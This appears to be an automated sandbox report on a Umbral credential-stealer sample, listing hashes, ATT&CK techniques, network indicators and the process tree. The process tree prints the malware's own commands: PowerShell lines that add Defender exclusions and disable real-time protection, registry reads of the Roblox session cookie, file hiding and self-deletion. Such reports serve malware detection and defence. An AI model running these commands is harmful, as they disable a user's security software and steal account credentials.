umbral | c1e68c823f44e06715698c6685c9507ad6406e61b343aa1d69a2ff9a846407db

Analysis

max time kernel
16s
max time network
16s
platform
windows7_x64
resource
win7-20240729-en
resource tags

arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
submitted
13-08-2024 22:50

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General

Target

c1e68c823f44e06715698c6685c9507ad6406e61b343aa1d69a2ff9a846407db.exe
Size

493KB
MD5

7b2b4e725655f63a945798bb6ba47dbc
SHA1

4abbeff4849c0be54600e4763104c8cf57e7b741
SHA256

c1e68c823f44e06715698c6685c9507ad6406e61b343aa1d69a2ff9a846407db
SHA512

adc86f43f0e00ecf7ec0484bb19acfce94f7156ac740606e094ea80cdb2794b0b0082d010137702f3f6f3d6f903d1c6ba841fa13141f8d10ddd7e04f1577442a
SSDEEP

12288:zoZtL+EP83ZeP4+ZRSd3q459cOI7k0u5DD7Z446cK+hjqiU:9I8peP4+ZRSd3q459cOIw0u5DD7Z446l

Score

10^/10

umbral credential_access discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/2552-1-0x0000000000B20000-0x0000000000BA2000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2860	powershell.exe
2972	powershell.exe
2640	powershell.exe
1096	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	c1e68c823f44e06715698c6685c9507ad6406e61b343aa1d69a2ff9a846407db.exe

Deletes itself 1 IoCs

pid	Process
908	cmd.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
8	discord.com
7	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
4	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
908	cmd.exe
3048	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2508	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
3048	PING.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2552	c1e68c823f44e06715698c6685c9507ad6406e61b343aa1d69a2ff9a846407db.exe
2860	powershell.exe
2640	powershell.exe
1096	powershell.exe
1708	powershell.exe
2972	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2552	c1e68c823f44e06715698c6685c9507ad6406e61b343aa1d69a2ff9a846407db.exe
Token: SeIncreaseQuotaPrivilege	2712	wmic.exe
Token: SeSecurityPrivilege	2712	wmic.exe
Token: SeTakeOwnershipPrivilege	2712	wmic.exe
Token: SeLoadDriverPrivilege	2712	wmic.exe
Token: SeSystemProfilePrivilege	2712	wmic.exe
Token: SeSystemtimePrivilege	2712	wmic.exe
Token: SeProfSingleProcessPrivilege	2712	wmic.exe
Token: SeIncBasePriorityPrivilege	2712	wmic.exe
Token: SeCreatePagefilePrivilege	2712	wmic.exe
Token: SeBackupPrivilege	2712	wmic.exe
Token: SeRestorePrivilege	2712	wmic.exe
Token: SeShutdownPrivilege	2712	wmic.exe
Token: SeDebugPrivilege	2712	wmic.exe
Token: SeSystemEnvironmentPrivilege	2712	wmic.exe
Token: SeRemoteShutdownPrivilege	2712	wmic.exe
Token: SeUndockPrivilege	2712	wmic.exe
Token: SeManageVolumePrivilege	2712	wmic.exe
Token: 33	2712	wmic.exe
Token: 34	2712	wmic.exe
Token: 35	2712	wmic.exe
Token: SeIncreaseQuotaPrivilege	2712	wmic.exe
Token: SeSecurityPrivilege	2712	wmic.exe
Token: SeTakeOwnershipPrivilege	2712	wmic.exe
Token: SeLoadDriverPrivilege	2712	wmic.exe
Token: SeSystemProfilePrivilege	2712	wmic.exe
Token: SeSystemtimePrivilege	2712	wmic.exe
Token: SeProfSingleProcessPrivilege	2712	wmic.exe
Token: SeIncBasePriorityPrivilege	2712	wmic.exe
Token: SeCreatePagefilePrivilege	2712	wmic.exe
Token: SeBackupPrivilege	2712	wmic.exe
Token: SeRestorePrivilege	2712	wmic.exe
Token: SeShutdownPrivilege	2712	wmic.exe
Token: SeDebugPrivilege	2712	wmic.exe
Token: SeSystemEnvironmentPrivilege	2712	wmic.exe
Token: SeRemoteShutdownPrivilege	2712	wmic.exe
Token: SeUndockPrivilege	2712	wmic.exe
Token: SeManageVolumePrivilege	2712	wmic.exe
Token: 33	2712	wmic.exe
Token: 34	2712	wmic.exe
Token: 35	2712	wmic.exe
Token: SeDebugPrivilege	2860	powershell.exe
Token: SeDebugPrivilege	2640	powershell.exe
Token: SeDebugPrivilege	1096	powershell.exe
Token: SeDebugPrivilege	1708	powershell.exe
Token: SeIncreaseQuotaPrivilege	2992	wmic.exe
Token: SeSecurityPrivilege	2992	wmic.exe
Token: SeTakeOwnershipPrivilege	2992	wmic.exe
Token: SeLoadDriverPrivilege	2992	wmic.exe
Token: SeSystemProfilePrivilege	2992	wmic.exe
Token: SeSystemtimePrivilege	2992	wmic.exe
Token: SeProfSingleProcessPrivilege	2992	wmic.exe
Token: SeIncBasePriorityPrivilege	2992	wmic.exe
Token: SeCreatePagefilePrivilege	2992	wmic.exe
Token: SeBackupPrivilege	2992	wmic.exe
Token: SeRestorePrivilege	2992	wmic.exe
Token: SeShutdownPrivilege	2992	wmic.exe
Token: SeDebugPrivilege	2992	wmic.exe
Token: SeSystemEnvironmentPrivilege	2992	wmic.exe
Token: SeRemoteShutdownPrivilege	2992	wmic.exe
Token: SeUndockPrivilege	2992	wmic.exe
Token: SeManageVolumePrivilege	2992	wmic.exe
Token: 33	2992	wmic.exe
Token: 34	2992	wmic.exe

Suspicious use of WriteProcessMemory 39 IoCs

description	pid	Process	procid_target
PID 2552 wrote to memory of 2712	2552	c1e68c823f44e06715698c6685c9507ad6406e61b343aa1d69a2ff9a846407db.exe	29
PID 2552 wrote to memory of 2712	2552	c1e68c823f44e06715698c6685c9507ad6406e61b343aa1d69a2ff9a846407db.exe	29
PID 2552 wrote to memory of 2712	2552	c1e68c823f44e06715698c6685c9507ad6406e61b343aa1d69a2ff9a846407db.exe	29
PID 2552 wrote to memory of 2816	2552	c1e68c823f44e06715698c6685c9507ad6406e61b343aa1d69a2ff9a846407db.exe	32
PID 2552 wrote to memory of 2816	2552	c1e68c823f44e06715698c6685c9507ad6406e61b343aa1d69a2ff9a846407db.exe	32
PID 2552 wrote to memory of 2816	2552	c1e68c823f44e06715698c6685c9507ad6406e61b343aa1d69a2ff9a846407db.exe	32
PID 2552 wrote to memory of 2860	2552	c1e68c823f44e06715698c6685c9507ad6406e61b343aa1d69a2ff9a846407db.exe	34
PID 2552 wrote to memory of 2860	2552	c1e68c823f44e06715698c6685c9507ad6406e61b343aa1d69a2ff9a846407db.exe	34
PID 2552 wrote to memory of 2860	2552	c1e68c823f44e06715698c6685c9507ad6406e61b343aa1d69a2ff9a846407db.exe	34
PID 2552 wrote to memory of 2640	2552	c1e68c823f44e06715698c6685c9507ad6406e61b343aa1d69a2ff9a846407db.exe	36
PID 2552 wrote to memory of 2640	2552	c1e68c823f44e06715698c6685c9507ad6406e61b343aa1d69a2ff9a846407db.exe	36
PID 2552 wrote to memory of 2640	2552	c1e68c823f44e06715698c6685c9507ad6406e61b343aa1d69a2ff9a846407db.exe	36
PID 2552 wrote to memory of 1096	2552	c1e68c823f44e06715698c6685c9507ad6406e61b343aa1d69a2ff9a846407db.exe	38
PID 2552 wrote to memory of 1096	2552	c1e68c823f44e06715698c6685c9507ad6406e61b343aa1d69a2ff9a846407db.exe	38
PID 2552 wrote to memory of 1096	2552	c1e68c823f44e06715698c6685c9507ad6406e61b343aa1d69a2ff9a846407db.exe	38
PID 2552 wrote to memory of 1708	2552	c1e68c823f44e06715698c6685c9507ad6406e61b343aa1d69a2ff9a846407db.exe	40
PID 2552 wrote to memory of 1708	2552	c1e68c823f44e06715698c6685c9507ad6406e61b343aa1d69a2ff9a846407db.exe	40
PID 2552 wrote to memory of 1708	2552	c1e68c823f44e06715698c6685c9507ad6406e61b343aa1d69a2ff9a846407db.exe	40
PID 2552 wrote to memory of 2992	2552	c1e68c823f44e06715698c6685c9507ad6406e61b343aa1d69a2ff9a846407db.exe	42
PID 2552 wrote to memory of 2992	2552	c1e68c823f44e06715698c6685c9507ad6406e61b343aa1d69a2ff9a846407db.exe	42
PID 2552 wrote to memory of 2992	2552	c1e68c823f44e06715698c6685c9507ad6406e61b343aa1d69a2ff9a846407db.exe	42
PID 2552 wrote to memory of 1304	2552	c1e68c823f44e06715698c6685c9507ad6406e61b343aa1d69a2ff9a846407db.exe	44
PID 2552 wrote to memory of 1304	2552	c1e68c823f44e06715698c6685c9507ad6406e61b343aa1d69a2ff9a846407db.exe	44
PID 2552 wrote to memory of 1304	2552	c1e68c823f44e06715698c6685c9507ad6406e61b343aa1d69a2ff9a846407db.exe	44
PID 2552 wrote to memory of 2604	2552	c1e68c823f44e06715698c6685c9507ad6406e61b343aa1d69a2ff9a846407db.exe	46
PID 2552 wrote to memory of 2604	2552	c1e68c823f44e06715698c6685c9507ad6406e61b343aa1d69a2ff9a846407db.exe	46
PID 2552 wrote to memory of 2604	2552	c1e68c823f44e06715698c6685c9507ad6406e61b343aa1d69a2ff9a846407db.exe	46
PID 2552 wrote to memory of 2972	2552	c1e68c823f44e06715698c6685c9507ad6406e61b343aa1d69a2ff9a846407db.exe	48
PID 2552 wrote to memory of 2972	2552	c1e68c823f44e06715698c6685c9507ad6406e61b343aa1d69a2ff9a846407db.exe	48
PID 2552 wrote to memory of 2972	2552	c1e68c823f44e06715698c6685c9507ad6406e61b343aa1d69a2ff9a846407db.exe	48
PID 2552 wrote to memory of 2508	2552	c1e68c823f44e06715698c6685c9507ad6406e61b343aa1d69a2ff9a846407db.exe	50
PID 2552 wrote to memory of 2508	2552	c1e68c823f44e06715698c6685c9507ad6406e61b343aa1d69a2ff9a846407db.exe	50
PID 2552 wrote to memory of 2508	2552	c1e68c823f44e06715698c6685c9507ad6406e61b343aa1d69a2ff9a846407db.exe	50
PID 2552 wrote to memory of 908	2552	c1e68c823f44e06715698c6685c9507ad6406e61b343aa1d69a2ff9a846407db.exe	52
PID 2552 wrote to memory of 908	2552	c1e68c823f44e06715698c6685c9507ad6406e61b343aa1d69a2ff9a846407db.exe	52
PID 2552 wrote to memory of 908	2552	c1e68c823f44e06715698c6685c9507ad6406e61b343aa1d69a2ff9a846407db.exe	52
PID 908 wrote to memory of 3048	908	cmd.exe	54
PID 908 wrote to memory of 3048	908	cmd.exe	54
PID 908 wrote to memory of 3048	908	cmd.exe	54

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2816	attrib.exe

C:\Users\Admin\AppData\Local\Temp\c1e68c823f44e06715698c6685c9507ad6406e61b343aa1d69a2ff9a846407db.exe
"C:\Users\Admin\AppData\Local\Temp\c1e68c823f44e06715698c6685c9507ad6406e61b343aa1d69a2ff9a846407db.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2552
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2712
- C:\Windows\system32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\c1e68c823f44e06715698c6685c9507ad6406e61b343aa1d69a2ff9a846407db.exe"
  2⤵
  - Views/modifies file attributes
  PID:2816
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\c1e68c823f44e06715698c6685c9507ad6406e61b343aa1d69a2ff9a846407db.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2860
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2640
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1096
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1708
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2992
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:1304
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:2604
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2972
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:2508
- C:\Windows\system32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\c1e68c823f44e06715698c6685c9507ad6406e61b343aa1d69a2ff9a846407db.exe" && pause
  2⤵
  - Deletes itself
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:908
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:3048

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
e4ad3d7b1bb498ad2f65a691c250b9b7

SHA1
544ae032aee3f5f1eb5b96c43c45e086feb35315

SHA256
c4d1fc15e1b5e51c5885d3ff431ad111b89602008e6caf582c626c7cf2242cb9

SHA512
e10b46ed6146d3217f1b82958f56e0347b7439922bc7b9ffffe8b88a9ace6d03100eb9792d262b12596532789d465f705e50a597d877788b46ebef96cad59c29

Download Submit
memory/2552-0-0x000007FEF5E03000-0x000007FEF5E04000-memory.dmp

Filesize
4KB

Download
memory/2552-1-0x0000000000B20000-0x0000000000BA2000-memory.dmp

Filesize
520KB

Download
memory/2552-2-0x000007FEF5E00000-0x000007FEF67EC000-memory.dmp

Filesize
9.9MB

Download
memory/2552-47-0x000007FEF5E00000-0x000007FEF67EC000-memory.dmp

Filesize
9.9MB

Download
memory/2640-15-0x0000000001E80000-0x0000000001E88000-memory.dmp

Filesize
32KB

Download
memory/2640-14-0x000000001B670000-0x000000001B952000-memory.dmp

Filesize
2.9MB

Download
memory/2860-7-0x000000001B720000-0x000000001BA02000-memory.dmp

Filesize
2.9MB

Download
memory/2860-8-0x0000000002860000-0x0000000002868000-memory.dmp

Filesize
32KB

Download
memory/2972-43-0x0000000002250000-0x0000000002258000-memory.dmp

Filesize
32KB

Download